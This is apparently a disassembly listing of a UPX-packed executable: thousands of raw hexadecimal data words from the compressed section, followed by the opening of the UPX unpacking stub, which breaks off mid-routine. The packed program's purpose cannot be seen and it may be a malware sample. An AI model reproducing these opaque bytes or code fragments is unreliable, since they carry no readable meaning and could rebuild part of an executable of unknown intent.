		dd 0F0192C05h, 70B0C2Fh, 26CBB184h, 7F103F2Bh, 965C472Eh
		dd 596829A2h, 1A8B680Eh, 0D36B23B0h, 5C07208Fh,	877816E8h
		dd 24D10735h, 12B93105h, 5535606Fh, 61350034h, 6DAB760Bh
		dd 647B0190h, 776300DDh, 428B1AB3h, 64AF2D1Bh, 2AD8BF6Ch
		dd 28F77B0Ch, 0FF010B8Ch, 3FB76E59h, 2180310h, 9D1616C6h
		dd 1C550313h, 0E581C998h, 5C0A0DBEh, 87D62F5Fh,	0FFF4FA00h
		dd 4AB8050Bh, 7D1C4D9Fh, 1E8611CFh, 2577CD3h, 87C8359Bh
		dd 77FF0053h, 4D05E324h, 75757DFFh, 47C6EB40h, 0A74E71BCh
		dd 0F605C212h, 97B5D01Ch, 3E980931h, 3F13496Ch,	1C68A3DFh
		dd 465BC209h, 133759C0h, 0A1705007h, 5FC721Ah, 788A26F7h
		dd 5304A87h, 7B0AFB24h,	2CB7CFA7h, 19EB10EBh, 76504EBh
		dd 6F927001h, 41730F59h, 0F0DD3723h, 0EBE32C0Dh, 18759F3Bh
		dd 0B3F5900h, 0FEA01B0Bh, 627B758h, 851EF42Bh, 424D53FFh
		dd 42EC6572h, 5318A16Eh, 62B6FEC8h, 0FE2DA1BFh,	4E204350h
		dd 53575445h, 474FEF4Bh, 204D4152h, 102B502Dh, 4DBF172Dh
		dd 0AC516623h, 80210A02h, 0E8362D42h, 5367C357h, 2DBADCBCh
		dd 52330EB6h, 234D2761h, 404A5832h, 32D01730h, 0E505EE36h
		dd 544E0ADFh, 204D4C20h, 108BE730h, 0A49E4640h,	0E3090773h
		dd 0CA1B6C2h, 11C4A4DBh, 95A8A60Ah, 0BFD481A8h,	524B5E69h
		dd 0AC5847C2h, 82973A50h, 1295E008h, 35B18Dh, 77916E24h
		dd 99EF6CF7h, 132858Dh,	0AC398C09h, 0CF7320E3h,	30CD3523h
		dd 0C89CF24Eh, 8ABDA0Eh, 0C935DA20h, 9F570324h,	2106C103h
		dd 47DF1E82h, 1E46E707h, 64090h, 1F011006h, 0F8DE5FFFh
		dd 0E0888A15h, 44004FF2h, 7A6A1981h, 1C49E4F2h,	2530AF28h
		dd 0F6044DF2h, 53671074h, 75DF5CE1h, 14B468EBh,	8666A29h
		dd 37B6EEBDh, 61E331A3h, 36072E4Dh, 0EA153800h,	772E46C6h
		dd 0E9491B30h, 62D9D873h, 633F003Dh, 7CBCB64h, 0DC08A2C8h
		dd 18004004h, 483ACDEh,	7DA5DEAEh, 11A9019Fh, 402C2613h
		dd 0DC346D28h, 8B117FF7h, 0D374D96Ch, 0BA790A70h, 9C6B7B64h
		dd 582AAC25h, 4A109F5Bh, 0EBAEB621h, 5413540Eh,	5963265Ah
		dd 6B095C22h, 0CBC7E7D2h, 0FF83D345h, 19BC81Fh,	10B810B8h
		dd 3919286Ah, 11D0B10Ch, 9200A89Bh, 0C0F920DBh,	0F52ED94Fh
		dd 0E4F40CA3h, 602E7C95h, 0CA00CA0h, 3C803239h,	0A0000CB1h
		dd 6726C90Ch, 0A30C883Dh, 0B25907ECh, 1495E11Eh, 707C4F40h
		dd 1E079740h, 4311BD91h, 79857813h, 0EC05F09Eh,	0E9A65BABh
		dd 2FF81013h, 273C7A4h,	230EFEFFh, 0C3074932h, 8408FCD7h
		dd 93C94388h, 10B9F74Fh, 0B801FFEEh, 0C8200C10h, 0ADE4D987h
		dd 0F7F070Dh, 967C95D8h, 70011857h, 401B0F84h, 0F84E43Eh
		dd 2000F95h, 7931487Fh,	6C0F84F2h, 5BD9570Fh, 6FA87095h
		dd 3F8B1343h, 0EC4F11ABh, 0E4FF071Ch, 0DFFED944h, 123C01FEh
		dd 1C037515h, 0B68ABA75h, 0D01E5042h, 34281242h, 3AD68353h
		dd 3C0B8A15h, 8DAEB383h, 2A451C42h, 0DB080228h,	7F677830h
		dd 0EEA51B00h, 5B592427h, 28992F2h, 9A20013Ah, 0B8179A61h
		dd 0C0A2460Ah, 2B6B6360h, 2349005Ch, 0C8573924h, 375CE0CBh
		dd 0AD082001h, 9205768h, 65449353h, 6A578850h, 0FFC9132Fh
		dd 324FC8FFh, 0D316704Bh, 5A781201h, 0E16EBF47h, 2E030388h
		dd 66879027h, 3902507h,	81D3C1Dh, 1C5CEB70h, 88E00408h
		dd 0F85C14Ah, 0A34A13D6h, 505C0323h, 7F5C455Dh,	2592E58Eh
		dd 304312Eh, 4221001Fh,	0C91EC2D6h, 16384E8h, 613B9307h
		dd 0CBD7C803h, 0ABCA0490h, 0AF2E6C9h, 7CC901C8h, 0C90E0480h
		dd 4805E43h, 4800487h, 4F27E48Fh, 72B30468h, 215A381h
		dd 616A5901h, 67858707h, 77DD607h, 0A98504EBh, 470A1D08h
		dd 89D4915h, 4089ED23h,	2C41FFFEh, 0D2268627h, 5EB3A059h
		dd 6F8800AAh, 195D2C5h,	0BD5A5A90h, 0C8642B2Fh,	9966FF68h
		dd 78AC0642h, 0C10010C7h, 13238D9Ah, 0BB725C8Ch, 0B9655C84h
		dd 78CF0965h, 0C8572172h, 0C9400010h, 4054FFFFh, 3D8D9F4Eh
		dd 8F11CEA0h, 3E000869h, 11B0530h, 12B59173h, 0F60A3B4h
		dd 3CEF6179h, 3CA35F08h, 4E084D08h, 200C8Eh, 0D824083Ch
		dd 40F57204h, 0EB076EA3h, 52C736EEh, 3154012Ch,	3590053h
		dd 84C13D54h, 0D4DAE09h, 5D83F1F7h, 0E0573416h,	900BC09Ch
		dd 60EDF201h, 708EB00h,	767A1567h, 1B01FB23h, 444F4856h
		dd 0E4009088h, 33080047h, 1013C79h, 20DF4617h, 0D0FB048Fh
		dd 7F56767Fh, 129F7496h, 60077D7Fh, 535B03EBh, 0D155DFFAh
		dd 3199E8C3h, 13404C0h,	315B50D8h, 0EEFFF6D2h, 240ED37h
		dd 10504030h, 28C22841h, 4E2C0C6h, 4EAC166h, 4BFC0B0Eh
		dd 2F630FCh, 18F2803h, 31584313h, 0D55902C9h, 2FDD6C9h
		dd 0BD3143D0h, 158FC77h, 88C2C008h, 4F02FC23h, 1E7655Bh
		dd 0B9BF0195h, 164AFF4h, 0AFA8BD80h, 0BE277D8Ah, 8CAB84F4h
		dd 18929F8h, 0E7E718BFh, 138DDFFFh, 975201B0h, 11D059CAh
		dd 0A000D5A8h, 51800DC9h, 0FFFF08BEh, 1D55B526h, 46C5C137h
		dd 8F6379ABh, 69E8682Ah, 7C9E0493h, 0F579E79Eh,	27FCF9F8h
		dd 0CF3CF801h, 3F372FD3h, 20044140h, 1FE9EFD0h,	458D4342h
		dd 0F3CF8B40h, 2047EF7Ch, 4A4922DCh, 0CF004D4Bh, 4F4E3CF3h
		dd 0C3889F98h, 9119D966h, 3939205h, 2E59324h, 1196C3ECh
		dd 99219732h
		dd 0C54AEBA6h, 3D3C4F4h, 9AC807D4h, 0C09A69A6h,	0A0A8B4B8h
		dd 0B35D3498h, 908AFC6Ch, 80840388h, 0D35D34D3h, 60136C74h
		dd 0D34D5058h, 40444D34h, 2830383Ch, 34D34D34h,	8101820h
		dd 64EEBA04h, 0C3F800D3h, 3EC07F0h, 0A69A69E4h,	0D0D8E069h
		dd 0F99DC0C8h, 0B0B8A69Ah, 3C39740h, 0D74D3494h, 3B888C34h
		dd 0D36C7480h, 64D34D34h, 50545C60h, 4EEBA69Ah,	3B380348h
		dd 0AE202830h, 1869A77Bh, 79714h, 0E99CD98Fh, 3C2F8CCh
		dd 0C29300E8h, 9D34D34Dh, 0C4D0DC03h, 4D34ACB8h, 8CA034D3h
		dd 17606878h, 30D74D26h, 6720283Fh, 0D74D41DFh,	271C244Dh
		dd 8140318h, 36E74D34h,	32FC1FCh, 0D3DCE4F0h, 0D8D34D35h
		dd 1FCCD0D4h, 34D34DC8h, 0B0B8C04Dh, 34909CA8h,	8434D34Dh
		dd 6068707Ch, 0D967B669h, 98589250h, 1050440Bh,	48AEC25Eh
		dd 67C14003h, 0DDF3C138h, 2CBBB085h, 0FBC1240Fh, 18140F1Ch
		dd 375D3DDh, 0C0041B0Ch, 8C13C0ABh, 0F05DD74Dh,	0DC03E80Fh
		dd 3423C0D0h, 0CC2EEBDDh, 7FF500Fh, 34D3B844h, 3B0D74Dh
		dd 9098A0A8h, 5D3CD180h, 0C088578Ch, 8EF853C0h,	784B5630h
		dd 0CF74C0A7h, 0AF53C96Ch, 488FABC0h, 0D3BDD34Dh, 389B33F0h
		dd 0C65D2830h, 1C133BA6h, 47FC00Ch, 0D8DC9DD7h,	8BBFF80Bh
		dd 7D4BFE8h, 0BBB103D0h, 0C4CC4D8Ch, 0BB09BBFh,	5D8CBFA4h
		dd 0A0A38577h, 9403981Bh, 8058AFBFh, 0B8CBBB1h,	80B7BF84h
		dd 9F0B78B7h, 0B7736170h, 77616C62h, 639B403h, 6B2F70E3h
		dd 0B30B6169h, 684CA5A0h, 2BFB6133h, 2B6F3D96h,	6F6C7173h
		dd 7DF05011h, 462600Eh,	0B3207h, 0C0AE7Ah, 0C02813FCh
		dd 5801454Eh, 0D9BB137Fh, 1D33D9B2h, 6D6F070Bh,	732D96EBh
		dd 870F1756h, 0D5FE6B65h, 75D50ACh, 766F6C12h, 9BC8F865h
		dd 6E6F6D7Fh, 6C737965h, 74697475h, 16206863h, 755F3F7Ah
		dd 788BCA63h, 0FB3B0D9Bh, 673365E7h, 78070B4Eh,	71B6DB6Bh
		dd 237A1A77h, 71701500h, 0B9417A61h, 420B7407h,	0C9E4F207h
		dd 7807FFEEh, 396B3270h, 0F0B92538h, 651B546Ah,	8A3D506Dh
		dd 63470BCDh, 16200D7Eh, 0EF0BC7ECh, 735AD6E8h,	90A79951h
		dd 0AE7BAA27h, 4D62A835h, 1983CBDDh, 72F70A16h,	70F7C474h
		dd 0F6602549h, 6E17078Bh, 0CE7AEB75h, 61B5ACDAh, 46C98D0Ah
		dd 0DD606D13h, 2B0E1DD9h, 35B47473h, 338A1707h,	2D3134C8h
		dd 8D7E6572h, 0F6217362h, 61371579h, 56218264h,	6543ED02h
		dd 243B0123h, 0B30C220h, 92E4B60Ch, 70000h, 9C9C9B9Ch
		dd 7030000h, 0E6B70A10h, 70277A0Bh, 8BEB4F77h, 7DECC3Dh
		dd 0F61EB27h, 2D97151Eh, 0BE900A1h, 0E7381731h,	7032B22h
		dd 0B737840Bh, 211FBD05h, 5C0D0974h, 43081E44h,	75636FE1h
		dd 53175704h, 0D0FC2A0Bh, 5C736DDDh, 2B6B2C41h,	73ECBB5Bh
		dd 0ED305C20h, 2441376Dh, 741AC6Ah, 4164725Ch, 63F30B68h
		dd 0D13C20Bh, 376D65D8h, 270011h, 923172A1h, 934B571Fh
		dd 9F60325Bh, 630B64BCh, 0F68EC223h, 3131B9Eh, 0AF666622h
		dd 2346ABB7h, 7729C315h, 0CE4A056Eh, 75173E15h,	65DD5292h
		dd 0D629878Fh, 1B865B12h, 7551C39Eh, 0F969AB11h, 44BB9A49h
		dd 636F205Dh, 8CDA6569h, 86C38CFh, 0CF71613Ch, 6A696323h
		dd 73B5373Ch, 6269AF12h, 0F6F636Dh, 0AB775262h,	0B37B612Fh
		dd 1E92C2h, 0B58F8BF3h,	6F367416h, 13266769h, 2EF6D51Ch
		dd 0A3707533h, 2B126EA2h, 5F9DA39Bh, 6B3335CBh,	0B11AD479h
		dd 87370759h, 68C5AC65h, 28C455EDh, 0F7179FABh,	75E336B6h
		dd 73184190h, 0D6EFCB8Fh, 0E7193466h, 72622293h, 0C1B9A911h
		dd 73759B76h, 0B3A36507h, 0A44284BEh, 2DF6B6Ah,	0A46F4E17h
		dd 826F6A76h, 0D71769DFh, 0CE137361h, 1F5A66E7h, 3B086A16h
		dd 175B8218h, 0E667626Fh, 0B5CF7C2Fh, 415983D3h, 0D968DF04h
		dd 65B606F0h, 656B070Bh, 0B6015272h, 65033B37h,	20A690BBh
		dd 0C0FB115h, 0A0578423h, 0F67875CCh, 0BDEC6F06h, 9A756CC7h
		dd 7700353h, 0E41686B0h, 74C4F173h, 0D818570Bh,	1B727B36h
		dd 52FD406Dh, 740FB2E4h, 2D20311Ah, 8C060A0Dh, 3207B262h
		dd 60A42DE3h, 54460A42h, 4A0542h, 23FBFF21h, 0A38A325Bh
		dd 2D364B87h, 0F5FFFA0Bh, 20332078h, 686620D1h,	32303120h
		dd 0DC4A2034h, 5BB914BFh, 123A3067h, 7772648Ch,	6E907278h
		dd 72246D91h, 42D2827h,	920DAC0Dh, 0D8F65E26h, 35316B83h
		dd 0CFA07B30h, 33318F13h, 230F142h, 0D702501Bh,	4B6C2DD9h
		dd 1F022C13h, 0E4BB5620h, 32342FB1h, 0BD84B35h,	8F5F3015h
		dd 103E4BFDh, 37350C41h, 222F2220h, 2B02017h, 60D8F202h
		dd 0E0873173h, 0E4F60A6Bh, 0A04FCF92h, 9833162Fh, 92E16310h
		dd 33335F23h, 20C2A831h, 0DE20C6A3h, 0A7333019h, 0C20C5931h
		dd 0CB2FD3CDh, 44803E0Fh, 46E327BDh, 23205054h,	0E6BA952Ah
		dd 9DB8056Dh, 0D55D72Fh, 0FB0130BBh, 604A976Ch,	6B04A120h
		dd 8E1780Bh, 0E0F6008h,	241B0C0h, 86444B57h, 69544828h
		dd 6DA08393h, 5C89749Eh, 0B6409B2Fh, 54748F28h,	0D812298Bh
		dd 1FCF1400h, 15AA278Ah, 5EDC811Ch, 0C119FE80h,	0FF3174FFh
		dd 0EBF9E200h, 8FE6E805h, 8B64DB33h, 0F8833043h, 70A0889Bh
		dd 788BAD1Ch, 0FB99E808h, 6C8552FFh, 5C8B3C5Fh,	0DF03783Bh
		dd 205B8B53h, 0FA374205h, 4C383BFh, 0F703338Bh,	32ACC933h
		dd 0D505C1B9h, 0FFFF6FFCh, 0CA2BF675h, 2B58E975h, 5EEBD1D8h
		dd 28245E03h, 8B0B8B66h, 0DF031C5Eh, 0E078028Bh, 5EC703BFh
		dd 5EE0FF5Bh, 1268A868h, 0E46FFD14h, 6E92BA54h,	0D6FF8404h
		dd 0DBA4F88Bh, 0EC78A006h, 83BAA453h, 0C47F0057h, 0AC15685Ah
		dd 8B1C0568h, 0F6F98BD4h, 6AD8FFDBh, 0BA535210h, 5A603063h
		dd 2B4501Ah, 0C5550h, 8E26058h,	0BF609EC0h, 0B7B3E543h
		dd 536C2FCBh, 0A69000AFh, 0B95040C2h, 0E6EC3B7Ah, 0A173CCEEh
		dd 69D31009h, 0C033202Ah, 25BBBCC7h, 5443AF02h,	7972328Ch
		dd 0EDDDB019h, 7D8166BFh, 75111102h, 220406EDh,	0AAE47500h
		dd 96C010BDh, 8B370015h, 0B59FEA75h, 0EB392FFh,	45D89ECh
		dd 894F1989h, 61451465h, 1BC7646Dh, 21A171CAh, 8DF8FD80h
		dd 6CA25504h, 781C4128h, 7745E066h, 0C5D822F8h,	0A30D7B90h
		dd 14643DB0h, 2E18458Fh, 69BE02h, 0C03B7F7Eh, 3DBA1836h
		dd 495C6BD3h, 0C268401Ch, 3702A158h, 1700A60Ch,	438ABECh
		dd 0FD9F4DFFh, 8B22A0EFh, 577441C8h, 104D8D53h,	0BA1C1E51h
		dd 777F97B9h, 0CBF5BEE5h, 0C5EB401Bh, 0C5935C0Fh, 0EE446A9Dh
		dd 0C96FED0Bh, 8BFC8BE0h, 654BABD7h, 0FDE2AB59h, 0DFE5FF40h
		dd 505252ECh, 0F12C7600h, 0FE582694h, 0BA5053C7h, 63DFD601h
		dd 0DE34DACBh, 53963D0Bh, 0C7627CFh, 7F91FB77h,	31568583h
		dd 46BABA07h, 9C10Ch, 0AEA7E3h,	13E66AC7h, 1BCCF81Ch, 0D20CD203h
		dd 0CCD80B7Ch, 0CD2A0ACh, 78840CD2h, 0DF14C58h,	28340CD2h
		dd 7CC070Ch, 274594F9h,	0DAEAF6CAh, 0F60FA68Ah,	80B0FFFFh
		dd 0ACBCBDBBh, 99C590B1h, 0C99ABFF1h, 86F7B191h, 0FA27A0ADh
		dd 3E5FD0EAh, 91630018h, 0A191B0A3h, 0ACDF93AAh, 9EFF63EAh
		dd 88DAB2E5h, 17B4AD9Ah, 0DBEFF5CEh, 0FFFFE6B7h, 0A9BB941Fh
		dd 0A1FAA489h, 0DA97B2BAh, 86A4A4C2h, 0B8B28BD3h, 0BCA1A084h
		dd 63C93FFFh, 0E0F0CB2Bh, 87BEA397h, 0A9BAFAA7h, 9FC29FA5h
		dd 0D9C97FE5h, 0C381BEFFh, 0C6ACB590h, 77A0B1A6h, 0BEAB8EFBh
		dd 0AAE1BA8Dh
		dd 0B6FAFFFEh, 0DD95A3A4h, 81B2FE82h, 0BAA69BD5h, 265BC79Bh
		dd 0FB67487Bh, 0C68DA3EBh, 0B583B26Eh, 0B1A0A77Fh, 0F4D88E92h
		dd 0DCEA737Ah, 0EDFFB0EBh, 90AAAB7Fh, 0A6B1B1BCh, 0F3C399ECh
		dd 9DC281A2h, 0BC8DB7ECh, 0F178001Bh, 73621345h, 0C0B00C88h
		dd 906C0327h, 2B6A6001h, 9C45FF24h, 9D0D7589h, 0FA85B6A1h
		dd 213C8438h, 49ECF1C8h, 7F90306h, 3903C15Bh, 98ADA797h
		dd 95BCA0A9h, 0CDC8539Dh, 0B52F6h, 5A0136D0h, 0B155070Eh
		dd 98D52E78h, 70414F29h, 587372Fh, 70B66D0h, 0EC2C2D52h
		dd 4949F014h, 13E72F53h, 3847AABCh, 3A151Fh, 1962654Fh
		dd 2FC64B05h, 2A58288Dh, 8353C178h, 45302A6Eh, 0ABA10CBh
		dd 0E148E126h, 1204D2Eh, 9BB940A2h, 0B03BF67Dh,	3B290D57h
		dd 0BC222273h, 62CF1081h, 51ECB7D0h, 54A427CBh,	4EF60562h
		dd 8F5D6F50h, 2062562Ch, 0C22C2B6Ch, 0E184AD1Ch, 40F75DAh
		dd 2D65876Bh, 0EE8401C8h, 87D54E33h, 7469C080h,	0B2D88B68h
		dd 1B05E6F6h, 0C5CC6FF8h, 7D38160Bh, 95A0338Dh,	91561054h
		dd 223DACADh, 9C3A7300h, 5AB611A9h, 306C7927h, 0D419661h
		dd 0DA5B24C0h, 87A9EC1Bh, 0BC732545h, 0AAC55404h, 28730936h
		dd 83652D05h, 1B1F6585h, 59301088h, 12E96348h, 0A08040D2h
		dd 4551886Eh, 59827F8Ah, 155EAE05h, 0A2756363h,	5984B6B2h
		dd 8EAD3BB0h, 41421B39h, 2008854Bh, 2464EC1h, 686D7572h
		dd 0B096B0B1h, 8A235143h, 96300378h, 193AAEB7h,	0B0C0DACBh
		dd 0C9AF7833h, 7506C25Eh, 11D561Ah, 0DDE096Fh, 41FF65D0h
		dd 5B617B99h, 3341793Ch, 34417A36h, 0FA5FA97Fh,	68456438h
		dd 6867B566h, 0ED675247h, 6C553568h, 0A97F7644h, 33D8E0h
		dd 0D46C46B7h, 5C505846h, 1A026973h, 2E1010B0h,	5600BAE0h
		dd 7716B0F6h, 354E0B67h, 9B066300h, 0D81B0C41h,	94012E30h
		dd 25E87D4Bh, 6C4F538Dh, 8F7DC141h, 623F1843h, 0D48B5870h
		dd 11D2868h, 0C3D12D0Ch, 935C1C08h, 1E5C315Ch, 1349810Bh
		dd 25876ABBh, 2F4C901Bh, 462045E6h, 108290h, 0A201C148h
		dd 45215B25h, 0CDB172E4h, 4002A610h, 0DDAB1305h, 0AFCF2156h
		dd 253D3C50h, 3B443347h, 7038180h, 8660690Fh, 0F715003h
		dd 6DF95E2Fh, 5B000D59h, 5D5E5B25h, 61B0D90Ch, 3B434BC3h
		dd 24ECAC33h, 0DB5BC388h, 3B290ECAh, 1460CAD9h,	532B6D09h
		dd 5A6C3265h, 483041Fh,	20A22013h, 18210AFDh, 45491F36h
		dd 1D86413Ah, 6F782EACh, 5020F543h, 1830087Dh, 2DDD4C00h
		dd 0C348161Bh, 4882132Bh, 205B8136h, 1BD81C5Ch,	596C895Bh
		dd 444A0846h, 42B0B104h, 5CB44654h, 0A587E16Ch,	9706072Fh
		dd 466CE34h, 234906E7h,	56F0B887h, 3631650Bh, 9F353588h
		dd 65FD8763h, 4E534D77h, 2DF94520h, 17490Eh, 0B844B2A6h
		dd 3962B72Ch, 0F3B0B61Dh, 63393138h, 232D31C7h,	1356612h
		dd 2B1F7174h, 35F6EC2Eh, 65653765h, 4F633030h, 2AB9CCD5h
		dd 5C7CB617h, 412E054Ch, 35642702h, 452E3033h, 64C731A4h
		dd 85B7825h, 0F24615Dh,	43767B73h, 6F1E3FF1h, 0D02DB15Ah
		dd 0F3398C11h, 30496B12h, 148CB636h, 60652380h,	60A90DD6h
		dd 7456B83Eh, 0DA178204h, 2BF42175h, 4218202Bh,	6E277283h
		dd 8A483972h, 13758182h, 106D4E53h, 3550BB71h, 664F8563h
		dd 18726108h, 6D05A958h, 73681CB4h, 54BF1801h, 60A16E1Eh
		dd 57851821h, 0DB58BD13h, 7665560Eh, 96DB5805h,	87648284h
		dd 0B716A22Bh, 3C53715Ah, 0B4365C8Bh, 0B5BB2D80h, 7075EA2Ch
		dd 0DCCAC320h, 74DFA660h, 109C4B5Dh, 135CCC0Ah,	6A6C4AD7h
		dd 17909188h, 0D34CDAB7h, 38B8574h, 9028303Ch, 0FB0641h
		dd 0C14071Ch, 641C9C83h, 0ECD9F400h, 0C82F90E4h, 0D80BE020h
		dd 6C190641h, 0BCC807D0h, 90641935h, 4EA4ACB4h,	34EFC9Eh
		dd 90D99873h, 641980D9h, 747C4190h, 0B0727268h,	58435C01h
		dd 20C850D9h, 40480C83h, 0C80D838h, 1C283032h, 0C83219Fh
		dd 40C1432h, 0D9C9800Ch, 0BF407D8h, 90018200h, 45E8DE4Bh
		dd 8C433330h, 61204349h, 0CBA2C351h, 785158C3h,	0D764A7A0h
		dd 0E4E6D9Fh, 20077536h, 6C632D75h, 2B8407Bh, 7BC2980h
		dd 0B128ED32h, 13BB7973h, 8992432Dh, 0AADB7A36h, 48530B3Ah
		dd 0D639DC2Dh, 983FC689h, 6C00350Bh, 6900702Fh,	8BDBE805h
		dd 278AC566h, 0CE686C02h, 2E0761C1h, 0E8505BCCh, 8A96F905h
		dd 62D0779h, 90F344CFh,	752074B3h, 6D4597BCh, 0E78BD42h
		dd 6E48095Fh, 3D07B3D8h, 8908133Dh, 6F014836h, 4F3D0F13h
		dd 1BB6620Bh, 4D3A2015h, 0DEFA8544h, 796669FBh,	4D07A350h
		dd 0FB304133h, 700B485Eh, 0D9BE5A07h, 4F6D3B9Bh, 2F705308h
		dd 0C54AD4Ch, 49F8061Ch, 5484D64h, 26623AA6h, 3EC4F7ACh
		dd 77327548h, 0CB60E65h, 8E6C8096h, 136E7342h, 8DD14C08h
		dd 534DD367h, 28337B22h, 3089E403h, 0FB050BFEh,	0B8A0BAE6h
		dd 91C499ECh, 0FFD43B03h, 790F4CFFh, 35C08B1h, 0E3F4F66Fh
		dd 0A8C30C12h, 12FBCA1h, 18B28248h, 61C277DEh, 0FDC6FF44h
		dd 0EBF7D7E6h, 23AFF7EBh, 0B594532Eh, 0DA00CAAAh, 0FF25442Ah
		dd 0B881B1E1h, 0EBF7BDh, 0A78247FFh, 8E96622Eh,	0A48BBBA7h
		dd 0A6E6E6E7h, 84A88F9Ah, 0D356DAA2h, 0F30A2482h, 0BB80B6FFh
		dd 0B1E6A7B0h, 0FE85DE92h, 712DFBFh, 69658782h,	3CAF070h
		dd 0EE8396C1h, 0FE1652Eh, 6C45E068h, 0EE700179h, 0A85145CDh
		dd 7F2EF73h, 8A275CA3h,	0CC4D706Eh, 0DE001E58h,	3A490F20h
		dd 8A45DC8Dh, 25780525h, 4BFF3378h, 3069B81h, 0B3D60FBh
		dd 1B548FDFh, 527F8E10h, 2B6597D1h, 0AFBC19D1h,	56413F2Eh
		dd 6081AA5Fh, 655F1D03h, 60840F0h, 1F37AC36h, 1A0A39A8h
		dd 1E875FDCh, 0A9200A21h, 1051541Eh, 51B3756h, 57E0C44Dh
		dd 40476A60h, 65A88415h, 0F5408BF1h, 4C0E4DCFh,	7B61636Fh
		dd 4109ED0Fh, 444E53A5h, 0EAA90569h, 0AD638836h, 446C1579h
		dd 5B660A93h, 0E72F6E22h, 6068A325h, 4CF65D1Fh,	9229BD0h
		dd 2C0C4FA9h, 195BD142h, 77DE3B76h, 4C010D44h, 61726269h
		dd 1D4440Dh, 417B22F5h,	8B5B62C7h, 69A40F5Ah, 6F430C10h
		dd 0D97B5117h, 4C647970h, 0A1064A61h, 0DB7B378h, 7E697257h
		dd 3D9B7070h, 506876D9h, 5097688Eh, 0D97C7069h,	365BD516h
		dd 0BD38124Fh, 305B2D9Bh, 65500F20h, 0D5476B65h, 641AF64Bh
		dd 66699043h, 44326A85h, 537A9952h, 0AFA830D1h,	50646E87h
		dd 13C14EBDh, 0A03584B0h, 0C3CBC4Fh, 614339BBh,	0C010164Dh
		dd 6706529h, 60024D96h,	4A68F454h, 0E28A92C2h, 5B73F657h
		dd 62FAA621h, 6544ACC0h, 908AA210h, 8FD58584h, 0E9F60D51h
		dd 14354D4h, 0B0B06E55h, 616DFFB3h, 65695670h, 0B6664F77h
		dd 54CF0E4Dh, 18CB96E4h, 0D547C7E7h, 627A6DACh,	0AF49A14Dh
		dd 75427501h, 6241443Ch, 0A80E186Ah, 334EA053h,	1503D413h
		dd 2C680EB4h, 63F90BAAh, 1F01E46Bh, 0CFA9ED50h,	6E470350h
		dd 6BB414ECh, 75713A31h, 37681A20h, 6531A58Ch, 427349D9h
		dd 0A12D92B4h, 14E86F45h, 108C20CCh, 9DEF5EAAh,	490DD7B2h
		dd 2A55452Fh, 40C67544h, 5D6F0588h, 824C3359h, 4D11BC21h
		dd 0B2D2E265h, 630BD3C6h, 76160987h, 5A0B635Bh,	6D4DD576h
		dd 0C6615670h, 61D44730h, 0A56223D6h, 90876D91h, 97A57644h
		dd 9A71B545h, 670900EDh, 0C2ADBDC1h, 377592C3h,	3F87CE0Eh
		dd 39103602h, 6879654Bh
		dd 78458B0Dh, 111E330Eh, 0CC259B0Dh, 32B80FB6h,	0D8CB440Dh
		dd 0E97355A3h, 0D7585266h, 45627250h, 74DB6E6Dh, 79AC1C14h
		dd 526EE229h, 410F6D61h, 586CC763h, 24D9A52Bh, 66B58B59h
		dd 0C058BDB3h, 5F6114FAh, 9C15CED9h, 0F006C92Bh, 2C0AF294h
		dd 43E196B4h, 2BA87878h, 7F707F7Eh, 6A27C409h, 0AE313F3Fh
		dd 40454155h, 0E35C1358h, 2A295AB9h, 6681990Eh,	0EA0CDA28h
		dd 8C06D0Ah, 84DCD1EFh,	2482364h, 808FB106h, 73766C9Bh
		dd 2A66AB6Eh, 62D6DEF7h, 77957F6Fh, 0F910323Bh,	20B37FFEh
		dd 59403274h, 58415041h, 0D5A4049h, 7B587B33h, 0D0E58AEh
		dd 625F2547h, 316BACD7h, 0E859095Ch, 0FBB6650Fh, 5F7676B6h
		dd 11339268h, 667A690Eh, 0D8640368h, 691D069Ah,	0CD96D131h
		dd 637536C6h, 98F56E73h, 0E73A8A57h, 73070213h,	0B9C30F95h
		dd 38615B2Eh, 54736669h, 9D0EC106h, 0D50630A1h,	0AC516306h
		dd 7EAF735h, 407CA77h, 0AE75C957h, 0E235DAC5h, 6325071Dh
		dd 0CC97877Bh, 1D75B33Bh, 2C0C0720h, 3D55DEEBh,	59B6946Dh
		dd 9413742Eh, 5AE699Ch,	0EA2C801h, 0C8FFB6CDh, 0BAD0120Bh
		dd 0F44188D6h, 171A6DC4h, 0CD381D04h, 81C9D81Eh, 0D3A22182h
		dd 0BBF602C8h, 9134E8ABh, 706C4177h, 40470E05h,	97AF4E63h
		dd 4181C612h, 219177B0h, 60C52D54h, 3B496B58h, 41EFBA5Eh
		dd 4E4D08B4h, 0F48C2968h, 7B659659h, 1970204h, 59651516h
		dd 13026596h, 96170A05h, 0C965965h, 12386F33h, 65965903h
		dd 34097059h, 596D0B06h, 8106596h, 0FD117414h, 0F28EDB2Ch
		dd 49415357h, 239FF25h,	0FF210D73h, 501649E5h, 3014C45h
		dd 3901F000h, 0E91D9E46h, 0B010F97h, 820601h, 67F11382h
		dd 0E882D937h, 707C100Bh, 24B0D0Bh, 75602C4h, 818A3DF6h
		dd 10284F14h, 82C2C207h, 2766E58h, 73CB5584h, 856968A0h
		dd 70A7EC51h, 41B6F202h, 0D7DD905Fh, 4EB5FE7h, 91F0158h
		dd 722EE012h, 17802BC0h, 0FB0E4CECh, 58B7D92Bh,	4002D973h
		dd 9827262Eh, 0D3494C71h, 74608034h, 0D97C00C0h, 76466830h
		dd 1F703h, 0
		dd 12000000h, 0FFh, 0
; ---------------------------------------------------------------------------
		pusha
		mov	esi, offset nullsub_100
		lea	edi, [esi-16000h]
		push	edi
		or	ebp, 0FFFFFFFFh
		jmp	short loc_421AC2
; ---------------------------------------------------------------------------
		align 8


loc_421AB8:				; CODE XREF: UPX1:loc_421AC9j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi


loc_421ABE:				; CODE XREF: UPX1:00421B56j
					; UPX1:00421B6Dj
		add	ebx, ebx
		jnz	short loc_421AC9


loc_421AC2:				; CODE XREF: UPX1:00421AB0j
		mov	ebx, [esi]
		sub	esi, 0FFFFFFFCh
		adc	ebx, ebx


loc_421AC9:				; CODE XREF: UPX1:00421AC0j
		jb	short loc_421AB8
		mov	eax, 1


loc_421AD0:				; CODE XREF: UPX1:00421ADFj
					; UPX1:00421AEAj
		add	ebx, ebx
		jnz	short loc_421ADB
		mov	ebx, [esi]
		sub	esi, 0FFFFFFFCh
		adc	ebx, ebx


loc_421ADB:				; CODE XREF: UPX1:00421AD2j
		adc	eax, eax
		add	ebx, ebx
		jnb	short loc_421AD0
		jnz	short loc_421AEC
		mov	ebx, [esi]
		sub	esi, 0FFFFFFFCh
